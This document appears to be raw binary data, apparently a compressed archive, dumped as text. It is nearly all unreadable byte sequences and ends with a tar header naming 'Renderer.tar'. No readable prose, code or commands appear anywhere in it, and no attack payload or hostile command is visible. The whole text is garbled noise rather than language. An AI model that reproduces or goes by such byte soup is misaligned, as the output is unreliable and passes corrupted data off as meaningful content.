;=Ǘa]D|DՔQ!ј%Z6Њ4ʹZb=Jg!eecoNkl1/ÅPS,{Vk5.yni̷IgaL0\Q//P:	6Gd>3\w?n6&v	u[N*z:TȔǳB[ngZ{z[ǎl-	dZKN>wQvEbӑ[)% םLd՜=enc^qT&NVuSBi"U?[6}Nv(Z>udrdU降B2+rrLk+4~zv(?wym?w]Z.Fڞex/sRZՔvX7.Q+WZa';nuu|
!Z~ɵxUBN>O%39F+ 3n]o#~|Fl$כ7q_35`*sTh_qރU[Iኗ~sC:; к@WG^g?ZrWb#<D#p:&@{^)nǇhwFva0ñ
m]u1U>?6Erȍ8mhȎ."yJ0t8tu@BOhcYP/Fo"J'Ċr+&̱Ì3uǒђ,M((	tE޻BwyC`/bomOe1R(x]PJD0RBX3ݤMlP$	k>L5WeV@p
0(f뛻$@QG1jojro ٨4@%@m2rZ/nh;Ei(zQNčfO<a	v4z1oŎK0{p9&ߊU*axҌ]ll@,5ʲlClC(7`D D=x}!edp`è{Ehtu/YT2ey(FK;b^-ע 1PZzL	"|#>Sb@(,zz\`PI [$E-DW"(ގ9Wbf瀜%jKvtv\S i»Ȫ}E@q]yuѾw
?ًz\P?>뫱}؃@WGpv7V^7?uDv`_ƷGW扨Ebn>qOh~͑)Ұ-v&1YfRhS.QYzv	<؂gq[w=^ӸFO^WzwjfͼpNG%'8t&Ңm	iA3dFtzr?:#`	3&Gz>oH/Hmد
Fj4ST	qd!$GXBl AHM;l~0BɈ?`6c1'ft 8 4$'ٖ:.MM,d|%
o(gJ
HEx6I#n_!07'Q4lF'"eppO.Ls%,S~QI*Ҷgq2ʊ laR{7bRtCp$`lnhxqob$x8 ~vG`1e9!CEzR[c,0-Qf&!X^$FG<Q[,XF8ŋЀmv88ls8@P	tZv?(qe)	kG=|8(2c|/9 %){ ߁<I_yʓS	W.t9^UIS`	^iS޻./L[J;9Yw\:tO\ަ+a[N!&`Sz6yJZǩ2T/8!B
) "D,ǌ]1&%Fc&o@|!f<G[xLh Y7}U9(A6g눒s:>'JvP]!cxvXqf6P f2$7(+r%(~2iGl~%p5`PgDS8pU\_:k=<?:Y05ץ. `p,!X:\9Sql]NR +ퟴ4sdt_P~x8Әfi`pMi`s<μ[|8&'ĤO:UMs8ZrůoTSE {h~S (={K4^l>\k}kQ.!{r6+ȥo\2s#@H$^>	98d٢T'S$1r5>ǋCnEf2)G`)HRb$	kB̆/qvBM_ѩ=Щzxl.jEW) "H+?dANLB\"کN\JT<7Bs''-;]M.pmOl3}8|\y#ȯ$~96L&d:@r`~@`-BCr=ӔPĉ$6Gŝ87Ty,qYjvű! n`iT:@ST鹯.`3U\]?(,ESoJE63˖9uhF3<*BN l䩺\78K#ѲM0ܥܶIƂ1lf?q)T{ߍL6hP.[gw'3*YCCK:4NqʑzY Sr,گAzFҏ_wZb}y6WUoo+DY:>k6}$dEߣ%CVz0XM__<[A?|}eޘ&	){8]dL[e^Zw+T/9_/P ++h&ֹGLJB$<	:.szK;1b}ff l
hhtnGPlɴ:Ɲ`SDB/	20&wT5 R!y&d1`^8.eUW{0J3Nx?S83"\DV?>8$hq%>ý#v0YƞՐXэra'C6(lU&:AZgB?Ùd[^7^3(#n&6uv4ctʹ$9H4/ؚզv	oݳRuZQHJXNKSU呣~yL"f.?{3ڲqv!X[GajS4Dk/KU<$O=W!TyԄ;^?f=ifL-+1į{L5#vA8;;S84!Ll%7L(C,ފ-ѹx"(`0u <g:?BT쫇.RdAN`>`ጸu:Hژ֩ϔ}޿Ȉ
bm|rq|L8ONNe؝+t&gT-E(%p"ܿ@pU8"j,7T{A^
~&c(E
Ѕ[I^+8Ps1r7Bn_URWu)JH;42M'-`iƾ?j|:2|}.kXFOkyd,2RlvڻY?h}D'ݝo>(D@B 0{ҿJ&*3A
c<gT31B
}RURAOOOoZc3==6kKΉ!M8AR~-=qp9oV:B {1ӝYZ=s=-Z0Qn
g.ӟem{CBە+|0Q!=4cJQvP[Q {W1G,t$tj n0`pk>DL`䢷l%.ɇ5'Kf/ބ49Ym*@İ^7v
о@kq :|p>wF\{bjl7 ؎fM	[NhCZq
c֊p+N~Zxy}eAE@ (1|r]}rr>4^a>^f?AHzpa_E
&˽$_QtEA_ZO`A[*|g$e:Qo͒W OiD{v9oB0i3}b۸I:s\$@	fE=#J/xFF~>$~5O-sV9v,*!i#~Mn]MvI2dk}
0]*JF:$tu
#gPӘSJ{NdfC$pԽ_0Ҵ5<0@Yq1S'`olDw}{c1[J4-P1b^>cPu85n[ʀvlРkkLǗX9Z!{]^\.ܓ~~ŀLk+Gni\hMIQ\3Xgg
6NwTpȣ09Na:4m޲PFM_)Am6>rxpE!/1h醩i}M;ɐu	S^Tk``D.>~1{|
k87(1HWc-Q,^ 7tDaů)X$0I6@%7n,^M{crf?YƇ5FZyv
f	xC~BgZ k]%t =S`<\1LV֠4R2T/DuV'jV (+	}L+:{-1(^47@\̮$f^4|4Q$c!pVF:PH T
DQII]j
ޫЍ{")K<(	yP$a\BB<Hҙl.X(ʕjh>ϝ.`8ǓLEՖf`(<袨]_1+w@s_/ 0xmgJNauǵ˩ GDPȧ!|c˼τ8*5 <lzf|=*Ka6o_91~/ Nz?
P򂆙}飠(@EG~VX	!.%@"x	#(,(J$
@% 0Ճ-=+:=83'0Dgz RRP!wc3>[N)dO<$wU lH.r\K.NGc lfSI*jV~)%<Ю^p+"PsRcsB5puFVlkG%dw~#CL uҖIO'*\AGIH_ї,y+8|¢,PI3>{lp_Xw0fb)Px1.37F( oqS3s=gHc|1,'KzH6~ud+슙U5U޻B-H*Bˍ 7M@-7mZQm轩M8԰-jn]R%O暥A,d@T>􀊽XwnٙFT-xD6Mg(	\o49ߨ4Z`ډuiŜqI$6FK|3xr$ɠ#L[CN5>#tg"͒Mepy^j9n5Kb9G1|m >|nXL~1K"(įiu#'L0@zg0UɈQJo,:v7$><nȁ> ZJ&1RD(@Q誊Nm>oy"1  V16@$aUО]Eǟ$iF&Ή:Խ'0VI yj}I$a}f!sf_p0G1Nt}'$ll\(pJ%K 2dTЋL{C&m6vrЙtk^\$^!#݉@MA/h=5؞CN/N[a~;l%&/SQy0AYhTڸjn鞳iq σ,/uB#+<yGZ3mEX@!"::/r6n`;}YH^u<G(~WC<K2舝DmdD'`Yh8E7F%5u)1Zx ++=&Gv$ *r2P?De%'xXߺr0DnKo!p'sC^6V(qʖ\r ,%nOǌv8].MMNœvl=g+	;riTN'D'C񰥺afSa\"5X//%K/>l6$57q;4(, @ft5NpGXEyk!uEUe$`dY5$"; P7b)UK_})<}JD9̯c:'q}
D>}NT'gOĿ魭Kuk?ZJq*E4|!X䶑>G/	fIc9$<j8ʋ_o^(=6un_ݱv^J6р2ū,2b&*73|ڨTBP2O(|o\nJ82j2(gxt J	
枡[ (H3%W2$j`-{2'AJ%WrVò2aݼ&ne@ձF[Cnix!~6F!GJDJ%XH) ޹=+ekz{#_4ɰcMnf$J}YQP代4[͟>Au].3j"eلɲWձܴ[dZ#訖d^ 0 NŤC3NVt=? ZU^ͼCYWNOR1&{},ؘ<ɜqF+f$F`hLkZm<HC'h@Xbf!'(/7f0cgrP7Yb\QсǢ:zJt3I{eKЬ	}BCϱÂФqi82k)Ȣ{oonw-[ :Fc2@nրzM;09{s(L7`I"3 b!JCf*_0Cj>SYVk2C4=Z Έ[O8]H@U7;_\P\
f64NYTDܥja8cWڣIG"s Ȁbz]I3Wr>ӐN4}fв[Q|g	4±?TSh_ǲSALmZw>dlm⦐Fڠ6&t=*koB>:>:1_q0Do扶f+1A0?@0aK~;<TK@ϗGF q`[hp;^|#G 1*Wˢ:#̺;QڠPz3]

(ۚu0J";.nދ:F>'. |`:U9e>Xhu+I	&W@[{x-~l2mqY#uaAJ~$q:dxUl/xxT!Sk1 p+`UumLCwUl1}@_Kh'}nSS)Ҷ^;u3`'mzξ
QfQ~Q~v؇t[{b訬qT THe(_NLf81(8q`P>
u9=2R
OA˖HsmE`@h4AޫP_&6y@^Jldz/">y9G}~Hfnb Q*˅gP쳜\>b[	9^X͸$+i;=e(bJ_K	KMg:ӟ~=	 1x¶IdfG2*ڵCmU̪*chrS5̮
	L!a0b֊^B\mH8z){uί78\X9Zfֻ{]fPi''EqC{T"Ge%xXl<<pƳw&`o
<0śy4dJSL+hRat-қ\%mpϧ;`B^acEV
6I@p*2L	FŃeCAE4rlɾ2%Fy171nGB3;XxjY1 ڿo `|/ITNDh-+GWT+J`S3l4n&8S6a3Sk aac(\w5 Gp1
U 0@O9F&SVd,9':~zqo:qבɕ=+ǪtgO4YX*n$yWxco:5uD!2x7(1r!TuԶXi,^YHt*|6$ks45cǱE?|<M]ϣy& 9Q{.nokWGT'Qg_3 +l5\.JW`kGMf-cn7S!p7_!|hrC^|H׉F,t_N$558XU24A7UZףMNTJkqdӲUk){`+꽽9~q8ԡ-@0B|wkuL&-3H[h1|=Pva!H~s?3_C02,a *?D[`-v)eo*_`v=t*4)q0`렜
KX6 #A/}~|pBÇ?@L>w;dW_0oW8̿ÿۿÿͿͿ_w7?=;PW7 of ;C!P?g~wkwv߃<4?qo?<wR.ÇK՟	}'	Yo_ïoӟ|38_Lܛ
?xϼ|㙷|o<槟ބүӎ.Nn9;0~/	1?p$sc f40w/t@~=.Ar]%@V<9taPn
?´n'׿2>j~ŌK۹qx5G\SKsM{~u THv*6$@*(+/08 7L#T{`QG4WMAMKEQ}Zmq~FG3{Cv}n7418 `SNt~TW&ph>
4ẸY/i4΀zաfH+aa]f2ޫ{2dįr9B`<|ݜSյ'02cL[0ǊCY$[^"(^xT[l-ʉdRȧQ@f̫ȡՌq`ÝX:½#&r1tbhjjd2/<,𱗾b1kĐm<U_hF9\cʂ,{m}̏&ɱ'MhSH0=D^ZIG\Y}'j/g4ࠬàQ*A4pm"+-@ZjX# -=P~ÝT\+_9N+
A# ޓ@lLGFTt1v":O~`C;Jh
'Sp//(7p*)HL#*ٸ(i~
˛U	/''Q
8SR'RhO"P zQ# ' oZ\DŒå^45`%PH;fvk%0!ida3{6;!23ޠSq!)3
e"1YၜEv":фF#	[gE_ՍôKRGƻIz^|o|$cنܟjNm7 ŭ<5 F- p9+cTυ>X { Aqg7-jp}@}|Ź`6$G$%kѥ|tde-!oH\ފQ 'eӽ(.>lﭏ9ظ9XAA7Y}Uz{CoQOMpoڲ2叵<7^zsꍟ -4{=?jΞZk`ֈG[C/*vw-Ǝu]5|>R P
6R COd8S!JHA>gs]#Brv^8b%i_`X
b# `M/i-♶?b#V_@YXu
xf	jDIH# G @ZjNA	;VlN\?--sw{%ΰCy)h YdAߚ4Ac&]lfsۃLs\(`Nh'áP a.L[zO,i`D&ԳX]\ɋԱز*2Ao)	z8BټǹČ֨Mg
`Pc##J9~f*)wy>6rǊ V?̥T!UKʯ',yOvpspT'CkC[r׼w{*]m;ܙBāǏhP*Ms*嘔ɄSCv^Ͻ	Ok+Q/galfziYX6pp1{g lh[F9_$Yp=ڇ/_H)Lّu @I#+Y_v]Y_>?\./ֆ40"Rh [DX|SEOt3^fg3`v/0F4OKKwaQ<`A_MZq'2֛+')a+!ES,qX68MSh;)aH1+EgxMaNF%.$eP6B:dYsi	qFf3XϸIoG`h=]^SW0'7h{6:Bu.=D}p鹈o]R. \11)1Qfn'$bIiwQ	U<gf6siޟ$g1iʖHl.4aߟq`O.S\oڥ-&Hf?CsƠ.:	!>/?xei,O__:b?PNRg9_NN4Q8Qr{WAu Gd:٬(4&a!V*ui`!(s3r>[vRux	@{//Ib0Aav^R`){i܃ڐ7Mf5FfRf<o6pJCs6\jUDkZY,UяAǠ>BEba{L~\v.HI01e*u@>c6hRin)B).]Km>( )3rW~"I{^}[gLnGڡZ/ԑ@oy-MD(|1{]^TM*.S^pJa+lR9;wEw#)iI5ΤY'9NzkP	_Nq$M^ *L
`D;;ĀDE}&ͦ7f.$B ).Fi#=MHĺ)(@gضbFhZKxiPq9!	At=]L'OL^)m0U
30z3L9h6}Q%ߑҎC4iBن$@0dͼ&
,<@r#]o2rbӊҍKhy %1~oE^#T"C>}z=S1NLO^:}=LL}j?ybsRKs_G>;+=8"wtLMOK.7?~?{DzP@19$[a!sp|5txaM+ڃ$K]YS|n*(v,%q6{(u'`]
Ir:`<U$֜A/5,ʰ|!-t>>zY V9AG	:wYbP9A7ex'Pmjd}vDJ!Lq	]bRN5u3r>x
}	-1
a!	
X9;W\[ʰo<hEwUZ!``tVՓ<)L˨LJrupYƥ4'<uAyD.2RMUʹl⭒U/}f uJ_R.xf}haGq\}8,h?g}n,6&vX
q6|1[bAdo(3k	{[-`XDiԮF鼆i%7._s`Luїr4z&#)kLKPxN@5	ӕ}k2:5{`[)(vPsL8[gN 0	:՘C4#F;G[n,JxF o mp7n2<nv.^DC9~ʍQi>%x-/rk,h>/ۅp<kL=pe,Gkz;3XumyJٙZHUyNqҺKC14WJR"bKo;|,C1(F:e;|IlJCi`0	.׎TRCzIP{bxPԒR36[)
8='G%K36=#%y.ΏJ|2vX*A,⃏ܒը
2	ÆM#`_}֢li]㩯A?iyR2mC~Y
Ӿ]Mޔro8QYϬ?.d;+ ',+yh)^oιx~(&T6HKBTi(RpQ[piLӃi~Yd=cI-VvML{c֟NMY},z,+u߮3Թm=By(4&r;ƒ]Hp[*4EZP/:jB"͂f"\[,`&i;@dTƬffYwyx S6ާIO<nezi.nuLyՕ4Lzi>=:m~4kf~
i֪Org\tԸ>:TgܚgMIL'E+45Q=3(uzE(#)B%mnBX;e'RV\+S
z8oՒڶjC.ŖBק8녻Z"=FodـPLxb,N+>w̑VϞpѫϞ8<_vuis.OqR\\Vz#+ߢT/.jJ[ǓSO7$>PZ<{sb`$ph"0wTnGg8
duהϠ =^~DΐV:AF'7Ϊ|N>d~BzQ\32mVH(	w	jC?Sr=9@|P+&u8j>,wº.Ήe]wG`5Չ&K.	H1xKRoA@^=d*vJ^J∻S1ȡgzy
3b.JIXA8e6g_+WK3rW鿖J0ugp_qJ꜓茀M?-G,,pxqޤt@n\U7tTv>->p6wԭ/2

|KE8.r>a7$I("+$P0Uзڙ_ml~r躢?% BFk<Gx[QQF  XG
y@l1B?߸i@}XW﾿wvK[f'{@ ^* H`_0PY+1%h/UYO$HXo r3lH=}"Շ'(JYh`Kyj*ߓ WTf	M:&@:#H{?<߃|2O
O[Y޸  `t<c  Ye/1fx0f
v*K/isʕ{QQ6	rp%f}gDqL'ɀI*BI
>S`>^TBAcލs(cɏzoi]eھop2 "<n5l!PńЋxsꁘE_ATR4=S.Rm$`^̌ 	`d$1%[5(P&Xc*zp\_5H\}rه.dGR{ك0HGfF3ZoA.) `fQoc3B(_G7GA/%zDdW`Q'W/J? V/{?7e:7q/B2NiFpw9l<9߫&SsΞD~i8tLP=WZvЧZFw$L@F!L]uf;Pu!9<Lvo#
c#WGù86՝Q32T#6%>#Q0=~荩<%by1{z)3z93TZb e/OU@Ό N?ygP%1nJw#AԹW/LX1 0˫Xξ6r(	]W$q0	bTϓ10n34VhoCTXAN*{3[ W'!uc؈0|/) </x@㯜ԅܩ	\tu%B#4RK^*n~	"Q M+a@֘$}UfPe>~R?t>O矾Mvؿҭq0BOeCimA(N f[(qu
C 跦JO `\M|sso-a0dU2a')I|aC6-
"G00$x[,3'(\)}2NMqf,#s=el6!UdZ{_DI8j}AQ)/qP|8rd*<H[ovNh	!fف}:;QĽ]z%WCcK"h!Mq\';Xyp*&qj8%rPaxL:'8ѩb.FxP${Ե!!/g,3Wb2o}bRO(|fvB~z<\rz{5x˘iS=^`?8>mƥn2TW K}ʢ{|tf(`ZA>i%/@;DDId!9ezˡ	,)JvՇi1~	Ȇϋ+zjǓQp%C;W%<X!{LO4yv A@bL~0`B> t)TA'{'16NvLkr%xhL`\7Ó2'V38Iі@EAA7wOg:`3lc%Y꺊V06Њ<&[hsiqv}(Y|+U}x6]niJ|͆qn1^v72p|Q||]J'W(ƼVΤ	Or/7@%䅏
k;.U,Wz\?\J}PO"3/X94B%d?ؠ㴦.]|ߓ-ЧDP.|{$NG}eCafZ+0LwG=`*(@dS	!Wzs}_I5t
?gZuymt05EZ4}l=7G%/w y~^C<Yth5L3b
ו ?Dhj{p,v	\D!'6nq#7RX wB7``-Ċ׳yD"&cI]8Ke1ݺ	0"buA:ӛ815ԓq@|F78  $1\h*#梁E}H*iEDDD& oX_̈́3aAt$"Iq-Ȍߢ8QY4=Q2JKE+~]wMC<DQ3cb'j)-5='*9XlW]!ȩ߯|ll)4T͗q٘(˽@|x*Ķ{٧x<7VYje8FPOigb04itڤ֐@gz)C1^d)J\<WÕ*rŸh+su)ѐ[HNxi!D٠P[c.O]7ٱR"^yW0ʥb27x)ͱkvQON2'樘ǟDx<),xϒf @gSŎ8gZ<^3Oi$^Kt+% f3凑xaWmL<3\Y#ZC-J<|KJ:x^Oxr0otAltڏFe_zQ;^2$|sqwsaSwj$\KnYH0]N3pVcB)XQH,iT+,};˪'(}xr<O#ú<\P*j+bkO.ۣIQI<*lҏN<XyF,F|zpS?~HbȲk޻-Bt	gnB
Bi]&A-z%O`W'YWm5U?"hY1'ʲO̔dImR6%Yd$Y&whHDr=Xj&kD29ksa&k<க/˥Ds~<\OطNQ1(dƇN#ǉ(Np<<L>J=&Sb^Op$ϟV>7|hdt0vfWfnTZr@Vg639ږWR㪝_XQO-_+NbWMRF-'PMvm$-*-֭:JNԳ׵9lvҼ7?CFfTj#Fa8%k4/?ד(K>nEz}T产_t7vZ6DDLWm!>Y->mf#=fP#m$$*qr͞ P$4STuFѩZڏ>>y:_4F4]yj,hqIrOi#]7Kf깙*?W<#rPeK<{ռ_ˣQ;	Bbf<fW[w9eVtj8fBr*L\+Wl1_(bb+?O1em|&=MZk1¾R/+a1	rWcPL~RLv&Z^a9獿,;lwłKjrvOSwCqm%Pp!0j
B~wdmmŜ{NEQ@Y5e }Ok+KI>D7 =Ŧ /7r1O=Hl9;8TH&Vd}Ol;\*3̪$h4[n^I=Z5NQ9ʎ:qV>WJ?3|hf׉4SZiv\O|wGBOpBFV_f[ͧRS6QKV՚$;)Kmie+֑֕FSgEU+ϝ\j3H/ir	7Wrl)lӛKuB#o3y|co^&UcmT-@Rzy)B`u'族`X=ŹhJjk,dUE*/첼#/E^i;[kD=ħd*eW%ּD7,己q1yVxa[ŊE6}OlJ'[nr4fL[fll[KJS<|S^wm/1.$Cz+1942򶲭)\ W&<`9n{(4ׁ`1΍ZB̐6A=.fMTzPnȞZTr`9nβ;JȷSYbYԕF#J.8IO9	i.WYGy2ƛQ\"&mWZ6OQE#򘍖'M2-VڡQRORiv!3Y\JJcMljyV]\
ͺmx3M;\ԶQaZ<rJME 8kȲo+?m9vב
.How[mY+v+eo-^]bJVFBp)b],jWZ+$,w&L|ʰIlbBeZk%@X}z|"+UO3+(f/ȍ *n]pݬvYX'K͹=f_xS|UWʅ22tZ[aE1;Vkܳ'GFZdUx#^;JZVkZ݁TpqSUz9m67_V1u_l<vX[o<]6(4	/
˛RI缛?E<9[\kVZ3]ѵIc Z{i*?m`niP J7W+\y<t9NYHUjUy|{y_lFT\r2si)(~PFX{Okf_;AFNv2K?ڌltJT3hU}+O<^r:'\N
KxK%:-NOCO)@1lZ46mXg".Mg5X[ؠrw*ly;e%Vh/=Ԋx[~M`%Ǣզ2A-"ͬ9axhc]W.ۙhz<ƫ8N!mᱟu`j9)7A?_gK*pǸMmlէZ=Ğ%O5OjZ=*!WͭGx&B"K{xZ::|>uݩ'7㶡E&R|]ߪ%i죤$S.ҫ*.Ʃ(kIO9\J{s4jxQB)e&#Wf^mntw/lk(6a9/3cT	WAq/εM'+iYÛ񴳚ςA(,w=ω\B栽hN.]gϺ3p8Y-B66:IxO?evgYkjvfIZ|uN%KNZmVT[ub@ZSRnSN,߬C)^VfEm$;O8LD[,r~+מN;׎-=B/^V?{{yT~J/V-7YFE~ΟnT%Y]:V5Dtji ܬ5N椱͒sa7[7[7[7[7[7[7[7[7[7[7[7[7[7[ogiC4RN-$nlQ7g/34IʣzM|L5>fzwdmiݔMfnc`qaGJ&-5҄]{bH@Uق3{sq6ݥn<{v@1ĄH6mżEKM Mk|I!ǐ7#
OJ?(JihFra(GYuGROm0<Ds4&%VOViU1Ӧ] Y<żQy.k¨3ϕ犧R)Ӏg79RKvLCq,yJ70NhBSNbj*J-5z&Wܐ`,8,gs`c0&er@.U.fl6ߎۛ@VOh[(hj嬼ɄeyS(d`V)ǰTXPwj \|M,.ԛ;.NjT,[zzNbBǖ%7'>vFf;vpX_N;l78ӎoo96Ϟ(/f#%tȆý	zވ=/-bS:+A]#B@1^珞ȍ[Qu>g%CVC Twr'̉]+jNK[ZxV:@g<y2Y+b0Y)R6r<qi1Rgϭ,(G{Jl>z˩ڸHx'`Cx{Jw^Gl7k=?Sn?z-X òiHxyxy4!YgU@d"kCzܨF7O)EхzߩQy *p1Uڼ?UwxyY(4cզ7,d-ij,*b((\_z.Uq+jOizi^~i2Fc]!	:)s_rwźUSFFc6h
@+6|F7j(IQ=.9ɲ$xB)O\M[ոF`0&qJpvGج$93\ϴsf̶[K$٘m${`'m=N;zߟNhwS!S
mZSFjaKj[+n8l;vt(&i-1:`]6G9d	OMGVl;\w2גVsRhyiƭSD;M[iML}Rq
76WXo5:ءjW.wԱ=U&
d1)2ܭiˮSwii{6JiUS2b3D\yk/츱)AhQ$⍧V^%;=?^_θvw/4.ao*'w$ 0|h/ȅwiSa9~ũzBzVUn%m+^%˞'[= ͺ@W"I^g?;XUb#<D#p:&@[ԯ~B$a>~p;}(|5W]L%Q㏇C\$X&N&s}[%(F<#u^~"N,x-P$@9S;Z!B8*CF$j	CWCg"EY&w͡ڌ8ƵMx?SeiTè%Na*t#(G)v\~`DPs-BM#15O^LO
,}I^Ɵ
iNRѸӛTsUf%(*A'
[h ;YAUDXJ1[+'9Z HDt[Bg/#%FIt3h<2Dhcy.ߊ`GgΈVhͿCw7X '|z߸6t%ͲX,8~?p
  @K!ڗ[FZKx
=,)ԏ8X*)N(Z{ΉQN
3i3,):-5K(-hO(fG==~4lRKwt zo`;]b%}%B*hc(}%fyYb$`Imo5-W9$n@9XN\m/pؑz\=%QVL^}eywnmql5{SJd_
kvm|77(8$\Q`E|KL!Jb0-9킮Q<4I7vL"*?L7Fu1p	*0{pH?@S* I#
2C.<)ӛ>u2;pNƩ}}!/́HĒwGNSPC
TԮ38CCY
6M7u1}a
M/wbԻw\dq}oh!z55`Fdа>7v(zF9f<r?>ohH o[G'YG"D"d"m_ꌙ.wEs`n,Gd  1G Ho"7E!Q.MSE_mN噾27P	H轎$vPIJ_(ڗMƺ؛V6HRKK(F3w>?oPD6`q%LQw/qd2G~$f3<z\~.G:VW lSB`.j,>emRq`VCr?<fL0& ˽&ᘘ264'>M
f#x_+a")@@9v0F\Q<z`#hܝ*P}(>ׄB mWR?2f0Mܑ0,h!Pe~$
ZXrF$fȉL~KfdlDL7\΀[󣸣4!0ྯ5:V7Db4|$"K4p8Ό&T{Erl/N택ć䇆(>#瀅@ehP3=dǂ)sD;sX'X̃
ӗh9pi-]u/S=Z;xr^^߁Z	~M.g~F%+o$9(/+R(`LD8/g0$Y]nPx%\k]
0"_1:ִ^:镴;Leyҙzbjh^D@6]"{0oH#}0'p`"|r85h-.\=ΈjzCk1W0rru<xf}piq%eO-Дem G3娤 Н$*h۞.,A?9	<\N]:"Clz;qnTPjIphu0Ka0 XȲO uϗ8YV#&#TK_?(,EW!t+r6fCքMf	DBxMYkNucLI`w8ٜD(W.WĮ`zpZmp[of?=*W,l|3Fk!(h{SOI6-wcÝ!PN94°
)>0uH'$- Dyb<.U \~E0X8q<fY#u-^/抠m{J{J
tzUz[QFڎm3S@i_KC
W;ۋW$ԍ.o$L'X5Qe|g8zUY0^+Kaݠ+$yvӒpYlQd8H .Xvj	Lnݕ!)t:&J@ޓo =:C~ )\_kʗhWM]ڤ#ӊ.VIlO]Ip>T}tG?zvS Q~sj {]@G*ꎷEZ^9",hIY3o. &7㐒qqqUQ/E'J-=c{	еY>Ǻi`:.{'Hui\sqaVve:>tGt_3Yx_-.FNT *	llN3￻$Fnխ	3	COF'/}L[KB(t88Uc`Qe`S|b;nXI!;)KvI^D9~omZBM0]{5oF#_)tWPGKrD]?{݀lwm(A"u簾9:ס\AZ<gVhb4A2eIҴK|qo9-'˛,<m2ZYPoߔrcT2c|ߺ0PHz+]JUOtRT` >|` vhC@`AѧOwätYw@x=>517hap(@Z~!>6ŏ݁&&3{ޜWOLV9u{ C[,3&c׹fyUp `L੆ފ`r8{F^1̔+M,N.g>>34>g?Νzٹev}am,63a%Dө1 rrtO,c6!HV@MC˰3j$M猿B-ǀnq?IFid-Eu܌lhe.ΑN$>:^x+矯
CN1#W̆?dhxI;wxKOhu*g*Hr;XrOlp94Դ,C#TWEH 
%ؚ`ܟus[xR.H-7AxeIC&=\"[	{\]-Zi+C26+{-[Z}UHkC30`p؈^A-	1mF}}FP*\`u	1D4|PdY!Yq)-"k~HC ^+<ZSUƗGQ2q?eBŏP 7%=>PzCgVXK6_85;%=%4&3p2i6IJmk"FrlJ0g'2M)Ss
=C!%ۨP/qFjF6'e"\ŇM]m.^wpݭ˅~lJ:_Bs j@ut	SXwdϩߠ86hTj@.(~yYKH=PK)`Nq߻eoa25̖SM=+5?qh+X6@9藈Ss=US#|0׷|ǐT;&qQ;:W\LrTT<Ik%bC]D/wG;&PyYnQS	\	`ԱgGk}]A/wr:7UUuXρ)2co!Oa:㍹XȴENl+,֩`\v<'L2VfD9@-OV9i]U(E5r?.ޫpD_qSۏ Y=ߏ@6pVq4C}Q$|󫪦8kK)J62$02.XSnȝttG"P6_LgMvN~D'=ec-i@6jhC,;z`LPqO~ƄLnZM"Yz폑b0P^ԇH}i\!)!-9&8T&,,`ԧN`x3O!em{{
H+-W8DGMD((wc@}БЩD2c@F7hrRk3㓋+$֜AvY+.IbXJ	8u=r_@k1N]crF08}s0\7`?3РP:>)F?uvbRV`287Ȩ؆wkQ2^#75 =FKëOLOx)WX߽FWO.C ^)VP4Y_%~(
*
~#vRƹ9{yG]5K;_pv얚Uۥ` 溈]qMeN݌rf틤{F^Z\G,xo˷1IdU	I3kr]_$z>`m`U%#i:at
#gPӘSJ{#<	aDi̍vɇ1
v7jzDwR*c"
+ѴC}?a>,¤l6sy޹]LVUϯxn;6ڹlt|Ky;$cˋ+[SƤ}U`mE*IMָ))@.\C)(L+p$ z3H-˞?dEmAna⬂1nUf0J[O$?xE^X 9`ȫc줌R\p?҈N%>JGPN2C~wlcNY"u۔T7&Wӛ ѣH4R;?< [kڽz	zk.$Gowf7󁞋˲U,VS ~Ro'0?So `]& @@/duCnwy8ZZj(bs7\)X,s?u+ L@KlA0CEÆ@w+/6}	Xa#!R((ɛQmܘjԿ_=qxf. kTx˳AyWGL
s f,;Xt//"::u@oNCNȩ9gtHѦb;BؐH#	5*VG	`Y"#QG"FHhw؏ @sY`pkAU(ϡcCTQrb{~~-AA4Q	w<010eʫ(q6m@]?XtaTTT<i΀
#VwWT7O \"hLB~p!{xR0z/Tm\"5ɞxN	Cb؄dHj>(ovhfI,>294c_/B_vbua2sQrZmt}Gxìcj.	$YVͫ*/5̰ɩ~#)ޚb]R>Qs}i	"wK/xbW1t|.!>lWnc~1fuT=ۘQ_"\D7Z5j3VboޗtQҤN5/f7z:X;M@/%h~ū,/	W=	LC6j"ljsb(߃Flo\nJ8y5j2()gt :wE'/҉;3I[9(N2vm¿'sD^H<x)+yl5,+k~k	BX*
hJ!$(BlBt%*`E Ut{dd.|&jc5e8g(e2&#XZ"|u t|^jLS@,9+|wֱ>[dZ#訖d^ 0 NvФy3NVt=? ZU<ǊyĳcLt=B?bY0O1S9si\k+ʶ|s@=V!S8l4R&0  ,ɍ3[BHl:!_Fb19O_
,0ыÑ;^;eWCݜO+K^Φ'3U=Y=+!ehR4dg`5Xb|x
k{o~CwRʭcaj!Ԟ΃T[;ȍxBcu02t0@q'&~o8fY0tL!)\@k.)amZ)\xu}$;k2C4=Z ȹO8]H@U7AONu.
(3HRGkE*"[YU^c0YX+HvѤ#9O d@1=b.}$$Om4k ~/֡;w{;F8fc*9XQcu*|`Mp5݇MӖR؆awBQUP܅k} u|tb}v!Ûy
iLP8:OhأoZ4UP4##|pd[t;^|#G  U$YS.^!EW}uFuw$Ag8kQ&5p3fabHv\Npu|N\jAtMUtrz}6@=1VlL#ïÁ[xg4SF4ReP5Z!$k#<x?^6kȤ93Z꯫&h%4%
FU]~,/d '}/F;FL_&R +IǺk/<k橩sfi[jnκn[wUTmm2mJtcWĶ>Ά>Hx}tCGee2)B*Cr
dB0%%EWEǡC%uq`J|^Vx}
ZD"{n,B1{W
MlY|Kz)Y.:yg
ʋȃOCE^GGTb!8xr7,',/q+47Qd"-cAEQk)#g.6jOĄX<sCaVÌ$23#IF`@uKZ!fU4^{fWq0V1kEg!.U$J]:eW tJL[EH߽.O3?@|.C=*`QPE2<Nbp,6\8;lfX͂b<20!=d&Jr!	Q?|*n7E6Vlma\=?e&M).xpZ̵paAqX>W&40fC ƭH"uFԘj,__-"+D>=
X؉meE(jjE	f6c7M)y같51aE kVA:c2! `tErL.**x3+XrOPu<p=V't +=WU/Ϡh(p!Uz/CH5ƆtkAnޫC<efqp,nPciBm=b.Yxe!ѩ|rۜρԄ]$.O4FhrLw{>杇ߣ| 8Dzܻ}"6_m!RGtL&xp+^ŮQE3PgfX`TGs6͗ƥ"s P?ub{=F|h%	kM;o;0waէw>=}Ѝ'{ V{@{TJk}pyAiEfqm1SO> vwNVL}!5}Zbk^NܭqI4ΞX?Ϸo?~|/ \                                                                                                                                                                                                                                                                            Renderer.tar                                                                                        0000644                 00001521000 15217301643 0007023 